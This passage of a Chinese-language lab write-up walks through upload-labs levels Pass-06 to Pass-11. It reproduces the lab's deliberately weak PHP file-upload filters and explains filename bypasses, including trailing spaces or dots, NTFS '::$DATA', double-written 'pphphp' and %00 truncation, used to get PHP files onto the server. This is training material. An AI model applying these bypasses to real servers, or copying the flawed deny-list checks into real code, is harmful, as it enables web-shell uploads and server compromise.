class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>,<span class="string">".htaccess"</span>);</span><br><span class="line"> $file_name = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>];</span><br><span class="line"> $file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line"> $file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.date(<span class="string">"YmdHis"</span>).rand(<span class="number">1000</span>,<span class="number">9999</span>).$file_ext;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file,$img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'此文件不允许上传'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103153619133.png" alt="image-20201103153619133"></p><p>在Win下<code>xx.jpg[空格]</code> 或<code>xx.jpg.</code>这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个<code>.php空格</code>文件即可</p><p><code>.php空格</code>绕过了<code>$deny_ext</code>的验证,导致了文件上传</p><h3 id="2-利用-5"><a href="#2-利用-5" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103153757039.png" alt="image-20201103153757039"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103153828227.png" alt="image-20201103153828227"></p><h2 id="Pass-07-绕过"><a href="#Pass-07-绕过" class="headerlink" title="Pass-07 .绕过"></a>Pass-07 .绕过</h2><h3 id="1-分析-5"><a href="#1-分析-5" class="headerlink" title="1.分析"></a>1.分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-07</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>,<span class="string">".htaccess"</span>);</span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line"> $file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line"> $file_ext = trim($file_ext); <span class="comment">//首尾去空</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$file_name;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'此文件类型不允许上传!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103154218222.png" alt="image-20201103154218222"></p><p>没有删除<code>.</code></p><p>在Win下<code>xx.jpg[空格]</code> 或<code>xx.jpg.</code>这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个<code>.php空格</code>文件即可</p><p><code>.php.</code>绕过了<code>$deny_ext</code>的验证,导致了文件上传</p><h3 id="2-利用-6"><a href="#2-利用-6" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103154354669.png" alt="image-20201103154354669"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103154442779.png" alt="image-20201103154442779"></p><h2 id="Pass-08-DATA绕过"><a href="#Pass-08-DATA绕过" class="headerlink" title="Pass-08 ::$DATA绕过"></a>Pass-08 ::$DATA绕过</h2><h3 id="1-代码"><a href="#1-代码" class="headerlink" title="1. 代码"></a>1. 代码</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-08</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>,<span class="string">".htaccess"</span>);</span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line"> $file_ext = trim($file_ext); <span class="comment">//首尾去空</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.date(<span class="string">"YmdHis"</span>).rand(<span class="number">1000</span>,<span class="number">9999</span>).$file_ext;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'此文件类型不允许上传!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103154642666.png" alt="image-20201103154642666"></p><p>NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:<code>$ DATA</code>。当我们访问<code>tao.php::DATA</code>时,就是请求 <code>tao.php</code> 本身的数据,如果<code>tao.php</code> 还包含了其他的数据流,比如 <code>tao.php:test.php</code>,请求 <code>tao.php:test.php::$DATA</code>,则是请求<code>tao.php</code>中的流数据<code>test.php</code>的流数据内容</p><p>所以我们上传<code>phpinfo.php::$DATA</code>即可绕过。(仅限windows)</p><h3 id="2-利用-7"><a href="#2-利用-7" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103155458127.png" alt="image-20201103155458127"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103155333975.png" alt="image-20201103155333975"></p><p>我们访问的时候需要删去<code>::$DATA</code>,直接访问php文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103155425946.png" alt="image-20201103155425946"></p><h2 id="Pass-09-空格-绕过"><a href="#Pass-09-空格-绕过" class="headerlink" title="Pass-09 .空格.绕过"></a>Pass-09 <code>.空格.</code>绕过</h2><h3 id="1-分析-6"><a href="#1-分析-6" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">".php"</span>,<span class="string">".php5"</span>,<span class="string">".php4"</span>,<span class="string">".php3"</span>,<span class="string">".php2"</span>,<span class="string">".html"</span>,<span class="string">".htm"</span>,<span class="string">".phtml"</span>,<span class="string">".pht"</span>,<span class="string">".pHp"</span>,<span class="string">".pHp5"</span>,<span class="string">".pHp4"</span>,<span class="string">".pHp3"</span>,<span class="string">".pHp2"</span>,<span class="string">".Html"</span>,<span class="string">".Htm"</span>,<span class="string">".pHtml"</span>,<span class="string">".jsp"</span>,<span class="string">".jspa"</span>,<span class="string">".jspx"</span>,<span class="string">".jsw"</span>,<span class="string">".jsv"</span>,<span class="string">".jspf"</span>,<span class="string">".jtml"</span>,<span class="string">".jSp"</span>,<span class="string">".jSpx"</span>,<span class="string">".jSpa"</span>,<span class="string">".jSw"</span>,<span class="string">".jSv"</span>,<span class="string">".jSpf"</span>,<span class="string">".jHtml"</span>,<span class="string">".asp"</span>,<span class="string">".aspx"</span>,<span class="string">".asa"</span>,<span class="string">".asax"</span>,<span class="string">".ascx"</span>,<span class="string">".ashx"</span>,<span class="string">".asmx"</span>,<span class="string">".cer"</span>,<span class="string">".aSp"</span>,<span class="string">".aSpx"</span>,<span class="string">".aSa"</span>,<span class="string">".aSax"</span>,<span class="string">".aScx"</span>,<span class="string">".aShx"</span>,<span class="string">".aSmx"</span>,<span class="string">".cEr"</span>,<span class="string">".sWf"</span>,<span class="string">".swf"</span>,<span class="string">".htaccess"</span>);</span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"> $file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"> $file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line"> $file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line"> $file_ext = trim($file_ext); <span class="comment">//首尾去空</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (!in_array($file_ext, $deny_ext)) {</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$file_name;</span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'此文件类型不允许上传!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>代码分析如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">当我们上传文件名为`phpinfo.php. .`时,因为这里trim处理的是字符两边的空格,所以$file_name=`phpinfo.php. .`</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">$file_name = deldot($file_name);<span class="comment">//删除文件名末尾的点</span></span><br><span class="line"><span class="comment">// 上面代码删除了末尾的点,所以此时$file_name = `phpinfo.php. `, 注意,后面又空格</span></span><br><span class="line">$file_ext = strrchr($file_name, <span class="string">'.'</span>);</span><br><span class="line"><span class="comment">// sttrchr 查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符</span></span><br><span class="line"><span class="comment">// 那么$file_ext=". "</span></span><br><span class="line">$file_ext = strtolower($file_ext); <span class="comment">//转换为小写</span></span><br><span class="line">$file_ext = str_ireplace(<span class="string">'::$DATA'</span>, <span class="string">''</span>, $file_ext);<span class="comment">//去除字符串::$DATA</span></span><br><span class="line">$file_ext = trim($file_ext); <span class="comment">//首尾去空</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 最终$file_ext=".", 绕过校验</span></span><br><span class="line"></span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$file_name;</span><br><span class="line"> move_uploaded_file($temp_file, $img_path);</span><br><span class="line"><span class="comment"># 这里最终文件名拼接的是$file_name,则最终上传的文件名为`phpinfo.php. `</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103163112162.png" alt="image-20201103163112162"></p><h3 id="2-利用-8"><a href="#2-利用-8" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103163729334.png" alt="image-20201103163729334"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103163556765.png" alt="image-20201103163556765"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103163602190.png" alt="image-20201103163602190"></p><blockquote><p>这里解析同理<code>Pass-06</code> and <code>Pass-07</code></p></blockquote><h2 id="Pass-10-php双写绕过"><a href="#Pass-10-php双写绕过" class="headerlink" title="Pass-10 php双写绕过"></a>Pass-10 php双写绕过</h2><h3 id="1-分析-7"><a href="#1-分析-7" class="headerlink" title="1. 分析"></a>1. 分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-10</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (file_exists(UPLOAD_PATH)) {</span><br><span class="line"> $deny_ext = <span class="keyword">array</span>(<span class="string">"php"</span>,<span class="string">"php5"</span>,<span class="string">"php4"</span>,<span class="string">"php3"</span>,<span class="string">"php2"</span>,<span class="string">"html"</span>,<span class="string">"htm"</span>,<span class="string">"phtml"</span>,<span class="string">"pht"</span>,<span class="string">"jsp"</span>,<span class="string">"jspa"</span>,<span class="string">"jspx"</span>,<span class="string">"jsw"</span>,<span class="string">"jsv"</span>,<span class="string">"jspf"</span>,<span class="string">"jtml"</span>,<span class="string">"asp"</span>,<span class="string">"aspx"</span>,<span class="string">"asa"</span>,<span class="string">"asax"</span>,<span class="string">"ascx"</span>,<span class="string">"ashx"</span>,<span class="string">"asmx"</span>,<span class="string">"cer"</span>,<span class="string">"swf"</span>,<span class="string">"htaccess"</span>);</span><br><span class="line"></span><br><span class="line"> $file_name = trim($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>]);</span><br><span class="line"> $file_name = str_ireplace($deny_ext,<span class="string">""</span>, $file_name);</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = UPLOAD_PATH.<span class="string">'/'</span>.$file_name; </span><br><span class="line"> <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) {</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = UPLOAD_PATH . <span class="string">'文件夹不存在,请手工创建!'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。</p><p>该函数必须遵循下列规则:</p><ul><li>如果搜索的字符串是一个数组,那么它将返回一个数组。</li><li>如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。</li><li>如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换</li><li>如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。</li></ul><p>语法:<code>str_ireplace(find,replace,string,count)</code></p><p>注释:该函数是不区分大小写的。请使用 <a href="https://www.runoob.com/php/func-string-str-replace.html">str_replace()</a> 函数执行区分大小写的搜索</p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>find</em></td><td align="left">必需。规定要查找的值。</td></tr><tr><td align="left"><em>replace</em></td><td align="left">必需。规定替换 <em>find</em> 中的值的值。</td></tr><tr><td align="left"><em>string</em></td><td align="left">必需。规定被搜索的字符串。</td></tr><tr><td align="left"><em>count</em></td><td align="left">可选。一个变量,对替换数进行计数。</td></tr></tbody></table><p>这里漏洞的产生发生在第9行,<code>str_ireplace()</code>, 将匹配<code>$deny_ext</code>数组中的字符替换<code> </code>, 而这里只进行了一次替换,也及将这里<code>$file_name</code> 设置为<code>pphphp</code> 通过一次<code>str_ireplace()</code>的替换,<code>$file_name</code>的值将为等于<code>php</code>, 即可绕过</p><h3 id="2-利用-9"><a href="#2-利用-9" class="headerlink" title="2. 利用"></a>2. 利用</h3><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103165931459.png" alt="image-20201103165931459"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103165958896.png" alt="image-20201103165958896"></p><p><code>phpinfo.pphphp</code> -> <code>info.php</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103170431998.png" alt="image-20201103170431998"></p><p>Q:为什么会出现这种情况呢?</p><p>A:我们可以理解为<code>str_ireplace()</code>函数匹配是从头到尾,而且只匹配一遍,下面的代码也很好的说明了这一点</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201103170855286.png" alt="image-20201103170855286"></p><h2 id="Pass-11-00截断"><a href="#Pass-11-00截断" class="headerlink" title="Pass-11 %00截断"></a>Pass-11 %00截断</h2><h3 id="1-代码分析-1"><a href="#1-代码分析-1" class="headerlink" title="1. 代码分析"></a>1. 代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Pass-11</span></span><br><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>])){</span><br><span class="line"> $ext_arr = <span class="keyword">array</span>(<span class="string">'jpg'</span>,<span class="string">'png'</span>,<span class="string">'gif'</span>);</span><br><span class="line"> $file_ext = substr($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>],strrpos($_FILES[<span class="string">'upload_file'</span>][<span class="string">'name'</span>],<span class="string">"."</span>)+<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span>(in_array($file_ext,$ext_arr)){</span><br><span class="line"> $temp_file = $_FILES[<span class="string">'upload_file'</span>][<span class="string">'tmp_name'</span>];</span><br><span class="line"> $img_path = $_GET[<span class="string">'save_path'</span>].<span class="string">"/"</span>.rand(<span class="number">10</span>, <span class="number">99</span>).date(<span class="string">"YmdHis"</span>).<span class="string">"."</span>.$file_ext;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(move_uploaded_file($temp_file,$img_path)){</span><br><span class="line"> $is_upload = <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> $msg = <span class="string">'上传出错!'</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span>{</span><br><span class="line"> $msg = <span class="string">"只允许上传.jpg|.png|.gif类型文件!"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p><code>substr()</code> 函数返回字符串的一部分。</p><p><strong>注释:</strong>如果 start 参数是负数且 length 小于或等于 start,则 length 为 0</p><p>语法:<code>substr(string,start,length)</code></p></blockquote><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left"><em>string</em></td><td align="left">必需。规定要返回其中一部分的字符串。</td></tr><tr><td align="left"><em>start</em></td><td align="left">必需。规定在字符串的何处开始。<br />正数 - 在字符串的指定位置开始<br />负数 - 在从字符串结尾的指定位置开始<br />0 - 在字符串中的第一个字符处开始</td></tr><tr><td align="left"><em>length</em></td><td align="left">可选。规定要返回的字符串长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回负数 - 从字符串末端返回</td></tr><tr><td align="left">返回值:</td><td align="left">返回字符串的提取部分,如果失败则返回 